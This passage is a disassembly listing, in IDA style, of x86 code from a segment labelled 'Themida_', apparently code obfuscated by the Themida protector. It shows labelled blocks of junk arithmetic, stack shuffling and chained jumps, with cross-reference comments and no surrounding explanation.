loc_571C4C:				; CODE XREF: Themida_:0057077Ej
		sub	al, bh
		pop	bx
		add	al, bl
		add	al, 58h
		mov	ebx, [esp]
		jmp	loc_57016D
; ---------------------------------------------------------------------------


loc_571C5C:				; CODE XREF: Themida_:0056471Bj
		add	esi, 71A20A90h
		sub	eax, esi
		pop	esi
		sub	eax, 25FE2F81h
		jmp	loc_5703B3
; ---------------------------------------------------------------------------


loc_571C6F:				; CODE XREF: Themida_:00566974j
		mov	edi, 0D12EA4F0h
		add	ebp, edi
		mov	edi, [esp]
		jmp	loc_56945F
; ---------------------------------------------------------------------------


loc_571C7E:				; CODE XREF: Themida_:005631DBj
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5704D9
; ---------------------------------------------------------------------------


loc_571C94:				; CODE XREF: Themida_:0056AFE7j
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_57297F
; ---------------------------------------------------------------------------


loc_571C9D:				; CODE XREF: Themida_:005745D2j
		mov	bl, 29h
		not	bl
		jmp	loc_569D75
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_5742DA
; ---------------------------------------------------------------------------


loc_571CB5:				; CODE XREF: Themida_:005653ECj
		add	ebp, 79A55C72h
		pop	ecx
		jmp	loc_56B4E1
; ---------------------------------------------------------------------------


loc_571CC1:				; CODE XREF: Themida_:0056E26Aj
		add	esp, 4
		push	eax
		jmp	loc_57180C
; ---------------------------------------------------------------------------


loc_571CCA:				; CODE XREF: Themida_:0056192Fj
		neg	edi
		sub	edi, 0A8112071h
		xor	ebx, edi
		jmp	loc_5647CF
; ---------------------------------------------------------------------------


loc_571CD9:				; CODE XREF: Themida_:005707F2j
		push	ebx
		push	ecx
		push	73CA38B5h
		jmp	loc_561021
; ---------------------------------------------------------------------------


loc_571CE5:				; CODE XREF: Themida_:0056B097j
		sub	ecx, 12E80CE1h
		mov	esi, ecx
		pop	ecx
		jmp	loc_572666
; ---------------------------------------------------------------------------


loc_571CF3:				; CODE XREF: Themida_:005685E1j
		push	esi
		mov	esi, 51EC76B0h
		shr	esi, 8
		add	esi, 0FD2DCA0Ch
		add	ebp, esi
		jmp	loc_5636CC
; ---------------------------------------------------------------------------


loc_571D09:				; CODE XREF: Themida_:0057465Cj
		mov	esp, [esp]
		or	eax, eax
		jz	loc_566F70
		push	12B2h
		mov	[esp], ebx
		push	1Ch
		pop	ebx
		add	ebx, 6A015C45h
		add	ebx, 4A757E44h
		add	ebx, 44835C04h
		add	ebx, edi
		jmp	loc_56B3BE
; ---------------------------------------------------------------------------


loc_571D3B:				; CODE XREF: Themida_:00560EE8j
		add	esp, 4
		jmp	loc_572BB5
; ---------------------------------------------------------------------------


loc_571D43:				; CODE XREF: Themida_:0056A231j
		xor	ecx, 63430BCCh
		inc	ecx
		sub	ecx, 0F11935E8h
		jmp	loc_573A54
; ---------------------------------------------------------------------------


loc_571D55:				; CODE XREF: Themida_:00562C33j
		mov	dl, 0A3h
		add	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56A8D9
; ---------------------------------------------------------------------------


loc_571D67:				; CODE XREF: Themida_:00569A55j
		pop	esp
		push	esi
		push	eax
		jmp	loc_5730F8
; ---------------------------------------------------------------------------


loc_571D6F:				; CODE XREF: Themida_:00570664j
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		mov	esi, 1BE2CA0h
		mov	ecx, 14B40D4h
		jmp	loc_565FBB
; ---------------------------------------------------------------------------


loc_571D8E:				; CODE XREF: Themida_:00560D21j
		pop	eax
		neg	eax
		shl	eax, 1
		sub	eax, 571EE235h
		push	eax
		pop	ebp
		jmp	loc_57416F
; ---------------------------------------------------------------------------


loc_571D9F:				; CODE XREF: Themida_:0055F5C0j
		add	ebx, 4ECF27B5h
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_572219
; ---------------------------------------------------------------------------


loc_571DB6:				; CODE XREF: Themida_:0056B153j
		add	esi, eax
		sub	esi, 4C674700h
		pop	eax
		sub	esi, 2
		push	628h
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	esi, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55FC99
; ---------------------------------------------------------------------------


loc_571DF7:				; CODE XREF: Themida_:00564505j
		xor	[esp], ebx
		mov	eax, [esp]
		add	esp, 4
		push	6BAAh
		mov	[esp], ecx
		jmp	loc_573E4D
; ---------------------------------------------------------------------------


loc_571E10:				; CODE XREF: Themida_:005723D5j
		pop	eax
		jmp	loc_574763
; ---------------------------------------------------------------------------


loc_571E16:				; CODE XREF: Themida_:0057408Fj
		pop	ecx
		add	esp, 4
		jmp	loc_560096
; ---------------------------------------------------------------------------


loc_571E1F:				; CODE XREF: Themida_:005607B0j
		inc	dl
		push	ebx
		push	dx
		mov	dh, 0B2h
		mov	bh, dh
		pop	dx
		jmp	loc_56154E
; ---------------------------------------------------------------------------


loc_571E2F:				; CODE XREF: Themida_:00572FEEj
		add	ecx, 25860C0Fh
		add	ecx, esi
		jmp	loc_561348
; ---------------------------------------------------------------------------


loc_571E3C:				; CODE XREF: Themida_:00574596j
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, ebp
		pop	ebp
		shl	ecx, 7
		xor	ecx, 37303D1Bh
		shl	ecx, 8
		inc	ecx
		jmp	loc_55F8C6
; ---------------------------------------------------------------------------


loc_571E57:				; CODE XREF: Themida_:0056B1E2j
		push	dword ptr [esp+4]
		jmp	loc_570991
; ---------------------------------------------------------------------------


loc_571E60:				; CODE XREF: Themida_:0056F82Aj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_567FDE
; ---------------------------------------------------------------------------


loc_571E69:				; CODE XREF: Themida_:0056BBE4j
		neg	edi
		add	edi, 0BE2C08ECh
		xor	esi, edi
		pop	edi
		sub	ebx, 2CC05B07h
		add	ebx, esi
		add	ebx, 2CC05B07h
		jmp	loc_55F810
; ---------------------------------------------------------------------------


loc_571E87:				; CODE XREF: Themida_:00562A8Fj
		pop	edx
		push	eax
		mov	eax, esi
		push	1766h
		mov	[esp], edx
		jmp	loc_5644DC
; ---------------------------------------------------------------------------


loc_571E98:				; CODE XREF: Themida_:0055F570j
		or	esi, 2F5B18EEh
		shl	esi, 2
		jmp	loc_569DE5
; ---------------------------------------------------------------------------


loc_571EA6:				; CODE XREF: Themida_:00570D5Aj
		mov	edi, [esp]
		jmp	loc_5737F1
; ---------------------------------------------------------------------------


loc_571EAE:				; CODE XREF: Themida_:0057122Dj
		add	ebx, 4
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, 793157F6h
		jmp	loc_5689A1
; ---------------------------------------------------------------------------


loc_571EC8:				; CODE XREF: Themida_:00568BB5j
		mov	edx, esp
		add	edx, 4
		jmp	loc_564D14
; ---------------------------------------------------------------------------


loc_571ED5:				; CODE XREF: Themida_:00565882j
		push	eax
		mov	al, 31h
		sub	al, 32h
		and	al, 0Ah
		jmp	loc_56A8C5
; ---------------------------------------------------------------------------


loc_571EE1:				; CODE XREF: Themida_:0057279Dj
		add	ebp, esi
		pop	esi
		mov	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_5736F7
; ---------------------------------------------------------------------------


loc_571EEE:				; CODE XREF: Themida_:00566352j
		sub	ecx, 23D0089Ch
		jmp	loc_572F59
; ---------------------------------------------------------------------------


loc_571EF9:				; CODE XREF: Themida_:005685EFj
		add	esi, 4
		add	esi, 4
		jmp	loc_56DA46
; ---------------------------------------------------------------------------


loc_571F0A:				; CODE XREF: Themida_:0056B0C8j
		mov	edx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5647F6
; ---------------------------------------------------------------------------


loc_571F24:				; CODE XREF: Themida_:00560865j
		xor	ecx, ebx
		xor	ebx, ecx
		jmp	loc_5634E8
; ---------------------------------------------------------------------------


loc_571F2D:				; CODE XREF: Themida_:0056C6B6j
		sub	ecx, 95FF4425h
		sub	ebx, ecx
		pop	ecx
		mov	ecx, [ebx]
		pop	ebx
		push	ecx
		jmp	loc_564E1C
; ---------------------------------------------------------------------------


loc_571F3F:				; CODE XREF: Themida_:00563C23j
		mov	esp, [esp]
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5725D5
; ---------------------------------------------------------------------------


loc_571F5A:				; CODE XREF: Themida_:0056AB1Aj
		pop	ecx
		and	ecx, 5497540Bh
		add	ecx, 0ABE8B3F7h
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56740C
; ---------------------------------------------------------------------------


loc_571F74:				; CODE XREF: Themida_:00560B1Dj
		sub	ebp, ecx
		pop	ecx
		add	ebp, ecx
		push	492h
		jmp	loc_5646C5
; ---------------------------------------------------------------------------


loc_571F83:				; CODE XREF: Themida_:005730F3j
		mov	bl, 0B8h
		mov	cl, 57h
		add	cl, bl
		pop	ebx
		add	cl, 1
		neg	cl
		push	dx
		mov	dh, 28h
		jmp	loc_572E51
; ---------------------------------------------------------------------------


loc_571F98:				; CODE XREF: Themida_:005692E8j
		sub	[edi+24h], ecx
		mov	ecx, [esp]
		jmp	loc_570024
; ---------------------------------------------------------------------------


loc_571FA3:				; CODE XREF: Themida_:00562C53j
		mov	edx, [esp]
		add	esp, 4
		mov	cl, 6Fh
		sub	cl, bl
		mov	ebx, [esp]
		add	esp, 4
		sub	cl, dl
		pop	edx
		and	cl, 2Bh
		neg	cl
		push	small 0
		add	byte ptr [esp],	0D0h
		sub	[esp], cl
		push	small 2BA3h
		jmp	loc_56A7F9
; ---------------------------------------------------------------------------


loc_571FD5:				; CODE XREF: Themida_:00573C61j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_56AA8B
; ---------------------------------------------------------------------------


loc_571FE8:				; CODE XREF: Themida_:0055F9D7j
		mov	[esp], edx
		xor	dword ptr [esp], 258F61A3h
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, 258F61A3h
		jmp	loc_56B760
; ---------------------------------------------------------------------------


loc_572006:				; CODE XREF: Themida_:00561943j
		push	bp
		push	dx
		jmp	loc_56B592
; ---------------------------------------------------------------------------


loc_57200F:				; CODE XREF: Themida_:005649C7j
		mov	cl, 45h
		xor	ah, cl
		jmp	loc_5614DB
; ---------------------------------------------------------------------------


loc_572018:				; CODE XREF: Themida_:0056E62Cj
		add	ecx, 32E33A7h
		sub	ecx, 0ACDCEB64h
		sub	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_5631F4
; ---------------------------------------------------------------------------


loc_57202E:				; CODE XREF: Themida_:005712C3j
		add	ecx, 16E73C83h
		jmp	loc_566DE0
; ---------------------------------------------------------------------------


loc_572039:				; CODE XREF: Themida_:0056BC61j
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		push	esi
		mov	esi, 19DF5926h
		sub	eax, esi
		pop	esi
		add	eax, ecx
		add	eax, 19DF5926h
		pop	ecx
		sub	esp, 4
		jmp	loc_56C260
; ---------------------------------------------------------------------------


loc_57206A:				; CODE XREF: Themida_:00568E92j
		add	ebx, ebp
		jmp	loc_561908
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	0DF1h
		mov	[esp], edx
		jmp	loc_56A5FD
; ---------------------------------------------------------------------------


loc_572082:				; CODE XREF: Themida_:005741E8j
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ecx
		mov	cl, 0
		shr	cl, 2
		xor	cl, 54h
		not	cl
		shr	cl, 3
		not	cl
		and	cl, 3Ah
		shr	cl, 2
		xor	cl, 4Eh
		shl	cl, 7
		push	ebx
		mov	bh, 0C9h
		shl	bh, 2
		jmp	loc_563923
; ---------------------------------------------------------------------------


loc_5720B8:				; CODE XREF: Themida_:005671C9j
		and	eax, 20971863h
		not	eax
		add	eax, 770B4CAAh
		jmp	loc_56F48F
; ---------------------------------------------------------------------------


loc_5720C9:				; CODE XREF: Themida_:005647D0j
		sub	eax, 7BFE3548h
		jmp	loc_56AFC2
; ---------------------------------------------------------------------------


loc_5720D3:				; CODE XREF: Themida_:005666A3j
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_564ECD
; ---------------------------------------------------------------------------


loc_5720E1:				; CODE XREF: Themida_:00562734j
		inc	ecx
		not	ecx
		add	ecx, 1
		add	ecx, 0F1B2EFDh
		push	edi
		push	ecx
		xor	dword ptr [esp], 707668B6h
		jmp	loc_56A310
; ---------------------------------------------------------------------------


loc_5720FE:				; CODE XREF: Themida_:00568A3Aj
		add	eax, ebp
		pop	ebp
		jmp	loc_5715CF
; ---------------------------------------------------------------------------


loc_572106:				; CODE XREF: Themida_:0056FDE5j
		xor	al, 0F7h
		not	al
		sub	al, 0FCh
		sub	al, 0D3h
		sub	cl, al
		pop	eax
		mov	ah, cl
		mov	ecx, [esp]
		add	esp, 4
		sub	ah, 84h
		jmp	loc_561028
; ---------------------------------------------------------------------------


loc_572121:				; CODE XREF: Themida_:00563CAAj
		pop	edi
		pop	edi
		sub	ecx, 1
		not	ecx
		jmp	loc_56B60E
; ---------------------------------------------------------------------------


loc_572130:				; CODE XREF: Themida_:00562993j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	4F2Dh
		mov	[esp], esi
		push	eax
		push	esi
		push	ecx
		mov	ecx, 76FB5386h
		jmp	loc_5681B6
; ---------------------------------------------------------------------------


loc_57214B:				; CODE XREF: Themida_:0056D8C7j
		xor	ebp, 58CA4228h
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_57215D:				; CODE XREF: Themida_:0056D26Aj
		sub	ebx, edx
		push	dword ptr [esp]
		jmp	loc_57069C
; ---------------------------------------------------------------------------


loc_572167:				; CODE XREF: Themida_:00563F1Fj
		xchg	ecx, ebx
		inc	ecx
		push	ebx
		push	ecx
		pop	ebx
		pop	ecx
		jmp	loc_560A8E
; ---------------------------------------------------------------------------


loc_572173:				; CODE XREF: Themida_:0056EDCAj
		sub	esi, 57166B57h
		add	esi, eax
		add	esi, 57166B57h
		sub	esi, 24A53596h
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_568E0B
; ---------------------------------------------------------------------------


loc_572195:				; CODE XREF: Themida_:0056F23Ej
		push	edi
		jmp	loc_56DC81
; ---------------------------------------------------------------------------


loc_57219B:				; CODE XREF: Themida_:00564A86j
		mov	[esp], esi
		mov	esi, 23693D79h
		push	eax
		mov	eax, 66EE224Ch
		and	eax, 0F7E63D3h
		add	eax, 50160865h
		shl	eax, 3
		not	eax
		push	edi
		mov	edi, 678447F9h
		sub	eax, edi
		pop	edi
		sub	eax, 0DA2800B8h
		jmp	loc_5668F5
; ---------------------------------------------------------------------------


loc_5721CB:				; CODE XREF: Themida_:00567A39j
		mov	ebx, 0DC21038h
		mov	edi, ebx
		pop	ebx
		xor	edi, 195021BCh
		jmp	loc_56B249
; ---------------------------------------------------------------------------


loc_5721DE:				; CODE XREF: Themida_:0056255Cj
		add	esp, 4
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		jmp	loc_56F4AA
; ---------------------------------------------------------------------------


loc_5721F2:				; CODE XREF: Themida_:0056B9E8j
		add	ebp, 1D752E0h
		sub	ebp, 486F87DFh
		jmp	loc_57352D
; ---------------------------------------------------------------------------


loc_572203:				; CODE XREF: Themida_:00562D9Aj
		xchg	esi, [esp]
		jmp	loc_570DF3
; ---------------------------------------------------------------------------


loc_57220B:				; CODE XREF: Themida_:00565F09j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5741C9
; ---------------------------------------------------------------------------


loc_572219:				; CODE XREF: Themida_:00571DB1j
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_56B8C3
; ---------------------------------------------------------------------------


loc_572227:				; CODE XREF: Themida_:00561CC7j
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	edi
		push	21ECh
		mov	[esp], ebx
		jmp	loc_56B1BD
; ---------------------------------------------------------------------------


loc_572240:				; CODE XREF: Themida_:005614D6j
		sub	bl, al
		sub	bl, 55h
		push	eax
		jmp	loc_567E8F
; ---------------------------------------------------------------------------


loc_57224B:				; CODE XREF: Themida_:0056A7CEj
		push	0
		sub	[esp], ch
		jmp	loc_5658F6
; ---------------------------------------------------------------------------


loc_572258:				; CODE XREF: Themida_:005640EDj
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		push	eax
		push	esp
		pop	eax
		push	ecx
		push	156861D2h
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 28883367h
		add	ecx, 1
		sub	ecx, 7C0D6511h
		sub	esp, 4
		jmp	loc_561BBC
; ---------------------------------------------------------------------------


loc_572289:				; CODE XREF: Themida_:00564A0Dj
		add	edi, edx
		pop	edx
		shl	edi, 3
		push	5925h
		mov	[esp], edi
		not	dword ptr [esp]
		jmp	loc_569A0C
; ---------------------------------------------------------------------------


loc_57229F:				; CODE XREF: Themida_:005729CBj
		sub	edx, ebp
		pop	ebp
		shl	edx, 7
		xor	edx, 0B818C375h
		add	ecx, edx
		pop	edx
		add	ecx, edi
		sub	ecx, 618D3D75h
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 61821C5Ch
		dec	ebx
		add	ebx, 9E7DE3A7h
		add	ecx, ebx
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5639F5
; ---------------------------------------------------------------------------


loc_5722DA:				; CODE XREF: Themida_:00566FF0j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5722DF:				; CODE XREF: Themida_:00570704j
		xchg	esi, [esp]
		jmp	loc_573B8D
; ---------------------------------------------------------------------------


loc_5722E7:				; CODE XREF: Themida_:005674BCj
		mov	[esp], ebp
		mov	ebp, 4F350B7Eh
		add	ebp, 0B0CAF486h
		add	edi, ebp
		pop	ebp
		push	ebx
		push	ebp
		push	esi
		jmp	loc_5701A7
; ---------------------------------------------------------------------------


loc_572300:				; CODE XREF: Themida_:0056A63Bj
		inc	cl
		add	cl, 3Fh
		neg	cl
		add	cl, 0E8h
		and	cl, 0D8h
		jmp	loc_566455
; ---------------------------------------------------------------------------


loc_572312:				; CODE XREF: Themida_:00569F9Ej
		pop	edx
		sub	eax, edi
		jmp	loc_56FC04
; ---------------------------------------------------------------------------


loc_57231A:				; CODE XREF: Themida_:0057163Dj
		xor	eax, 74C2C5Dh
		shr	eax, 7
		jmp	loc_560FCD
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_56F8B2
; ---------------------------------------------------------------------------


loc_572331:				; CODE XREF: Themida_:00567950j
		push	eax
		mov	eax, 2
		add	esi, 3ABB1E96h
		add	esi, 665C1C43h
		sub	esi, eax
		sub	esi, 665C1C43h
		sub	esi, 3ABB1E96h
		pop	eax
		jmp	loc_5635DB
; ---------------------------------------------------------------------------


loc_572357:				; CODE XREF: Themida_:005628B0j
		mov	edx, [esp]
		add	esp, 4
		push	5495h
		mov	[esp], edx
		jmp	loc_564ED6
; ---------------------------------------------------------------------------


loc_57236D:				; CODE XREF: Themida_:0056E8EBj
		sub	ecx, ebx
		pop	ebx
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_564EE8
; ---------------------------------------------------------------------------


loc_572387:				; CODE XREF: Themida_:0056D688j
		pop	edi
		jmp	loc_56EFDD
; ---------------------------------------------------------------------------


loc_57238D:				; CODE XREF: Themida_:0056B260j
		push	edx
		mov	edx, 54D464FCh
		jmp	loc_56ACBF
; ---------------------------------------------------------------------------


loc_572398:				; CODE XREF: Themida_:005614FFj
		add	eax, 4
		push	esi
		jmp	loc_56EA95
; ---------------------------------------------------------------------------


loc_5723A3:				; CODE XREF: Themida_:0056408Dj
		pop	esp
		and	eax, ebp
		mov	ebp, [esp]
		push	ecx
		push	esp
		jmp	loc_574026
; ---------------------------------------------------------------------------


loc_5723B0:				; CODE XREF: Themida_:0056EF91j
		add	eax, 68205DAAh
		jmp	loc_572AF7
; ---------------------------------------------------------------------------


loc_5723BA:				; CODE XREF: Themida_:0056F1C2j
		xchg	esi, [esp]
		mov	esp, [esp]
		or	[esp], eax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_566C2C
; ---------------------------------------------------------------------------


loc_5723CF:				; CODE XREF: Themida_:00570257j
		mov	[esp], eax
		not	dword ptr [esp]
		jmp	loc_571E10
; ---------------------------------------------------------------------------


loc_5723DA:				; CODE XREF: Themida_:00564391j
		add	ecx, edi
		add	ecx, 6AAE1004h
		mov	edi, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_560683
; ---------------------------------------------------------------------------


loc_5723F6:				; CODE XREF: Themida_:00571342j
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_56ECD6
; ---------------------------------------------------------------------------


loc_5723FF:				; CODE XREF: Themida_:00561D60j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_569854
; ---------------------------------------------------------------------------


loc_57241F:				; CODE XREF: Themida_:00568C19j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_572424:				; CODE XREF: Themida_:00568829j
		push	edx
		push	eax
		mov	ah, 6Eh
		push	ecx
		mov	cl, ah
		mov	dh, cl
		pop	ecx
		pop	eax
		add	al, dh
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		sub	cl, al
		jmp	loc_560C49
; ---------------------------------------------------------------------------


loc_572442:				; CODE XREF: Themida_:0056AF87j
		sub	ebp, ecx
		pop	ecx
		mov	ebx, ebp
		pop	ebp
		inc	ebx
		sub	ebx, 5285205h
		add	esi, 3A8C6CA4h
		jmp	loc_561424
; ---------------------------------------------------------------------------


loc_57245A:				; CODE XREF: Themida_:0056B719j
		add	esp, 4
		push	318Ch
		mov	[esp], edi
		push	8DAh
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		jmp	loc_56A267
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	eax
		jmp	loc_567302
; ---------------------------------------------------------------------------


loc_572499:				; CODE XREF: Themida_:0055FECEj
		mov	ebp, ecx
		pop	ecx
		add	ebp, 2A92C3BDh
		and	eax, ebp
		pop	ebp
		jmp	loc_56C0EF
; ---------------------------------------------------------------------------
		push	edi
		jmp	loc_56F0A6
; ---------------------------------------------------------------------------


loc_5724B0:				; CODE XREF: Themida_:005600FAj
		push	esi
		mov	esi, 52C8565Ah
		add	esi, 6C5B519Fh
		jmp	loc_5655D3
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_566FB4
; ---------------------------------------------------------------------------


loc_5724D3:				; CODE XREF: Themida_:0056BFF0j
		sub	eax, edi
		pop	edi
		sub	eax, 54A54B29h
		add	eax, ebx
		add	eax, 54A54B29h
		add	eax, 8245C06h
		add	eax, 1B2225A1h
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 0C587F25h
		jmp	loc_562F5F
; ---------------------------------------------------------------------------


loc_572503:				; CODE XREF: Themida_:0055FDC4j
		add	ebp, 4
		push	ebx
		push	esi
		push	7FB6F09h
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_561BEE
; ---------------------------------------------------------------------------


loc_572522:				; CODE XREF: Themida_:0056AE50j
		shl	esi, 5
		push	eax
		jmp	loc_56430E
; ---------------------------------------------------------------------------


loc_57252B:				; CODE XREF: Themida_:00561CBCj
		sub	ebx, 74B3A659h
		sub	edx, ebx
		pop	ebx
		jmp	loc_5650C5
; ---------------------------------------------------------------------------


loc_572539:				; CODE XREF: Themida_:0056AF0Cj
		add	eax, ebx
		jmp	loc_565F3F
; ---------------------------------------------------------------------------


loc_572540:				; CODE XREF: Themida_:005628CDj
		add	ecx, ebx
		pop	ebx
		add	ecx, eax
		sub	ecx, 15442CBEh
		pop	eax
		pop	esi
		xor	ecx, [esp]
		jmp	loc_562C9C
; ---------------------------------------------------------------------------


loc_572555:				; CODE XREF: Themida_:0056F4CBj
		add	al, dh
		sub	al, 0BCh
		add	al, 57h
		add	al, 47h
		pop	dx
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_5694CF
; ---------------------------------------------------------------------------


loc_57256E:				; CODE XREF: Themida_:00560F18j
		sub	ecx, esi
		xchg	ecx, esi
		pop	ecx
		xor	esi, 67BB2266h
		sub	esi, 9C9E85C6h
		jmp	loc_56E610
; ---------------------------------------------------------------------------


loc_572584:				; CODE XREF: Themida_:00573A93j
		push	esi
		jmp	loc_569323
; ---------------------------------------------------------------------------


loc_57258A:				; CODE XREF: Themida_:0056A053j
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5672BD
; ---------------------------------------------------------------------------


loc_572596:				; CODE XREF: Themida_:0056EE75j
		mov	ecx, 2AEF5FDFh
		xor	edx, ecx
		pop	ecx
		jmp	loc_568A3F
; ---------------------------------------------------------------------------


loc_5725A3:				; CODE XREF: Themida_:00561623j
		mov	ebp, 30677EB5h
		and	ebp, 3D9B0CBCh
		add	ebp, 0FFFFFFFFh
		dec	ebp
		neg	ebp
		jmp	loc_569361
; ---------------------------------------------------------------------------


loc_5725B9:				; CODE XREF: Themida_:005673E2j
		mov	[esp], ebx
		mov	bl, 0D9h
		push	edx
		mov	dl, bl
		mov	ah, dl
		pop	edx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5630CA
; ---------------------------------------------------------------------------


loc_5725D5:				; CODE XREF: Themida_:00571F55j
		pop	eax
		mov	edx, [esp]
		jmp	loc_562495
; ---------------------------------------------------------------------------


loc_5725DE:				; CODE XREF: Themida_:00565D51j
		pop	ecx
		xor	al, dh
		mov	edx, [esp]
		add	esp, 4
		not	al
		inc	al
		sub	al, 1Ah
		jmp	loc_5687EB
; ---------------------------------------------------------------------------


loc_5725F5:				; CODE XREF: Themida_:0056F9F1j
		push	3936h
		mov	[esp], edx
		push	eax
		mov	ah, 34h
		mov	dl, 33h
		xor	dl, ah
		jmp	loc_56DADF
; ---------------------------------------------------------------------------


loc_572609:				; CODE XREF: Themida_:0056E6ECj
		inc	ebp
		sub	ebp, 0E6AA92D4h
		and	eax, ebp
		pop	ebp
		neg	eax
		not	eax
		shl	eax, 2
		push	esi
		mov	esi, 69727D74h
		inc	esi
		jmp	loc_56AAF0
; ---------------------------------------------------------------------------


loc_572626:				; CODE XREF: Themida_:005623BDj
		add	esi, ebp
		pop	ebp
		sub	esi, 4
		jmp	loc_564543
; ---------------------------------------------------------------------------


loc_572631:				; CODE XREF: Themida_:0055FB20j
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_56D10E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		push	esp
		jmp	loc_56BF96
; ---------------------------------------------------------------------------


loc_57264A:				; CODE XREF: Themida_:005659FEj
		pop	esp
		mov	[esp], edx
		jmp	loc_56A204
; ---------------------------------------------------------------------------


loc_572653:				; CODE XREF: Themida_:00564B8Bj
		pop	edx
		pop	ecx
		mov	cl, al
		jmp	loc_563195
; ---------------------------------------------------------------------------


loc_57265C:				; CODE XREF: Themida_:00565905j
		xchg	ecx, [esp]
		pop	esp
		push	edx
		jmp	loc_56E49F
; ---------------------------------------------------------------------------


loc_572666:				; CODE XREF: Themida_:00571CEEj
		add	ebx, esi
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_564B60
; ---------------------------------------------------------------------------


loc_572687:				; CODE XREF: Themida_:0056122Aj
		push	esi
		mov	esi, 2A8E2142h
		or	esi, 62751F88h
		neg	esi
		or	esi, 0F94B9Bh
		push	ebx
		mov	ebx, 1BAD02F8h
		shr	ebx, 5
		dec	ebx
		dec	ebx
		sub	ebx, 7FF87E54h
		add	ebx, 0A142BF12h
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, esi
		jmp	loc_5660EC
; ---------------------------------------------------------------------------


loc_5726C1:				; CODE XREF: Themida_:00573FE5j
		push	esp
		jmp	loc_5707F7
; ---------------------------------------------------------------------------


loc_5726C7:				; CODE XREF: Themida_:0056814Aj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebp
		jmp	loc_5677CA
; ---------------------------------------------------------------------------


loc_5726DD:				; CODE XREF: Themida_:005716B8j
		mov	ebp, 17F669BFh
		shr	ebp, 8
		xor	ebp, 6A90409Ch
		jmp	loc_56D900
